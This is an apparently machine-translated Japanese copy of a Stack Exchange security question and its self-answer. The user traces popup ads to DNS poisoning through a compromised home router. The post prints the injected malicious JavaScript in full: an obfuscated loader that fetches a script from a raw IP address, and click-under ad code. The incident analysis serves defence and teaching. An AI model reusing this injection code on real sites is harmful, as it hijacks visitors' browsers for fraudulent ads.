web-dev-qa-db-ja.com

Stack ExchangeのJavaScriptは悪意のある

最近、かなり厄介な問題を発見しました。StackExchangeサイトで最初にクリックするたびに、広告ポップアップが作成されます。これは、デスクトップ、ラップトップ、電話、さらにはVMでも発生します。これはStack Exchangeの新しい広告機能であると結論付け、影響を受けたのは私だけであることが判明するまでmeta.stackexchange ......で不満を言いました。

自分のコンピュータにウイルスを許可するのが不注意だったと信じたくなかった(そして私の会社の「セキュリティの専門家」であると主張する自我のために)ために、根本的な原因を調査しました。私が観察した:

  1. これはStack Exchangeサイトにのみ影響します。
  2. これは、デスクトップ、ラップトップ、電話、VMの4つのデバイスで再現可能です。
  3. Httpsを参照しても問題は発生しません。

これにより、これがネットワークの問題であると考えるようになりました。HTTPでクリアテキストとして転送されている間に、誰かが悪意のあるJavaScriptをHTMLドキュメントのどこかに挿入しました。約30分のネットワークトラフィックのキャプチャと分析の後、コードのこの部分がStack Exchangeページの下部にあることがわかりました。

        (function () {
        var ssl='https:'==document.location.protocol,
            s=document.getElementsByTagName('script')[0],
            qc=document.createElement('script');
            qc.async = true;
            qc.src = (ssl ? 'https://secure' : 'http://Edge') + '.quantserve.com/quant.js';
            s.parentNode.insertBefore(qc, s);
            _qevents.Push({ qacct: "p-c1rF4kxgLUzNc" });
                        var sc=document.createElement('script');
            sc.async=true;
            sc.src=(ssl?'https://sb':'http://b') + '.scorecardresearch.com/beacon.js';
            s.parentNode.insertBefore(sc, s);
            _comscore.Push({ c1: "2", c2: "17440561" });
    })();

ブラウザーに悪意のあるJavaScriptの読み込みを開始します。

beacon.jsがHTTPS経由でロードされている場合、これは1行に縮小された細かいJavaScriptです。ただし、HTTP経由でロードされた場合は、2行目が追加されます。

!function(){var e=function(){if(document&&document.body&&document.body.appendChild){var e="getElementById";if("undefined"==typeof window[e]&&-1==document.cookie.indexOf(e)){var n=new Date;n.setTime(n.getTime()),document.cookie=e+"=1; expires="+new Date(n.getTime()+864e5).toGMTString()+"; path=/;";var t=document.createElement("script");t.src=decodeURIComponent("%68%74%74%70%3a%2f%2f%31%30%33%2e%31%36%2e%32%33%30%2e%31%36%35%2f%73%74%61%74%73%2f%58%43%51%36%37"),document.body.appendChild(t);window[e]=1;}}};document.addEventListener&&document.addEventListener("DOMContentLoaded",e),e()}();

これは、以下を含むhttp://103.16.230.165/stats/XCQ67を読み込む難読化された方法です。

function PopShow3(){if(!check){check=!0;var e=navigator.cookieEnabled,o="http://onclickads.net/afu.php?zoneid=658311";if(e&&(clickUnderCookie=GetCookie("clickunder"),null===clickUnderCookie||clickUnderCookiec;){var t=c+n;if(document.cookie.substring(c,t)==o)return getCookieVal(t);if(c=document.cookie.indexOf(" ",c)+1,0==c)break}return null}function SetCookie(e,o){var n=SetCookie.arguments,i=SetCookie.arguments.length,c=i>2?n[2]:null,t=i>3?n[3]:null,r=i>4?n[4]:null,u=i>5?n[5]:!1;document.cookie=e+"="+escape(o)+(null==c?"":"; expires="+c.toGMTString())+(null==t?"":"; path="+t)+(null==r?"":"; domain="+r)+(1==u?"; secure":"")}function getCookieVal(e){var o=document.cookie.indexOf(";",e);return-1==o&&(o=document.cookie.length),unescape(document.cookie.substring(e,o))}count=parseInt(3),check=!1;document.onmouseup=PopShow3;

今、私が広告を見ていたのも不思議ではありません。


問題は、この発見の意味です。ここにいくつかの可能性があります:

  1. 私のネットワークの近くの誰かがHTTPパケットを盗聴し、悪意のあるコンテンツをそれらに挿入しています。可能な限りすべてをHTTPSに切り替える必要があります(HTTPで資格情報やクレジットカード番号を入力することはありませんが、これをさらに一歩進める必要があります)
  2. ASUSルーターが感染しています。 (賢明なウイルス作成者は、特定のサイトだけでなく、アクセスするすべてのページに感染します)
  3. イントラネットに感染したデバイスがあります。 (すべてを遮断し、一度に1つのデバイスをテストしましたが、それでも起こります。そのため、唯一の可能性はルーターです。)
  4. scorecardresearch.comはジオキャストを使用してネットワークを高速化しています。ホストサーバーの1つが感染しています。 (誰もがそれを見ない理由を説明するでしょう)
  5. scorecardresearch.comは悪意のあるものです。どういうわけかスタックExchangeのサーバー(またはネットワーク)が感染しています。 Stack Exchangeは、スクリプトにscorecardresearch.comを含めることを意図したものではありません。

差し当たり、scorecardresearch.comをブロックしました。

私の推測では(4):scorecardresearch.comのサーバーの1つが感染しています。ただし、(1)の結果は深刻です。また、誰もが影響を受けない理由も説明します。 (1)と(4)をさらに区別するにはどうすればよいですか?

私が見逃したことや、自分を守るためにすべきことはありますか?

19
kevin

私を正しい方向に向けてくれたAlexandar O'Maraに感謝します。小さなヒントでしたが、そこにたどり着きました。

私はドメインを使用してnslookupを実行し、取得しました:

C:\Users\xxx>nslookup scorecardresearch.com
Server:  router.asus.com
Address:  192.168.56.1

Name:    scorecardresearch.com
Address:  103.16.230.165

C:\Users\xxx>nslookup sb.scorecardresearch.com
Server:  router.asus.com
Address:  192.168.56.1

Non-authoritative answer:
Name:    e2799.e7.akamaiedge.net
Address:  23.198.112.87
Aliases:  sb.scorecardresearch.com
          sb.scorecardresearch.com.edgekey.net

返されるアドレスは、悪意のあるコンテンツをホストしているアドレスとまったく同じです。 DNSポイズニング

それはどうしてですか?誰かが近くのネットワーク上の偽のDNSサーバーを宣伝する楽しみを持っている必要があります。いいえ、ルーターの設定を再確認しました。

enter image description here

「VPNサーバー」機能と「WANからの管理者アクセス」機能の両方がルーターで有効になっていることを指摘しました。これは、質問を書いた数時間前のことです。私は疑いを持たずにそれらを無効にしました。私はそれをしばらく有効にし、それを忘れていたに違いないと思いました。今、私はその理由を知っています。

ケースは閉じています(=

学んだ教訓:

  1. ルーターの管理パネルでインターネットからのアクセスを有効にしないでください。強力なパスワードを持っている場合でも、ネットワークをスキャンしてブルートフォース攻撃を仕掛けるボットが世の中に存在します。
  2. DNSポイズニングは、ユーザーが知らないうちにHTTPストリームに悪意のあるコンテンツを挿入するために使用できます。 (これはラッキーでした。これは観察可能で明白な広告であり、トロイの木馬やその他の有害なコンテンツではありません)
  3. SSLは、DNSポイズニングを防ぐための良い方法です。
20
kevin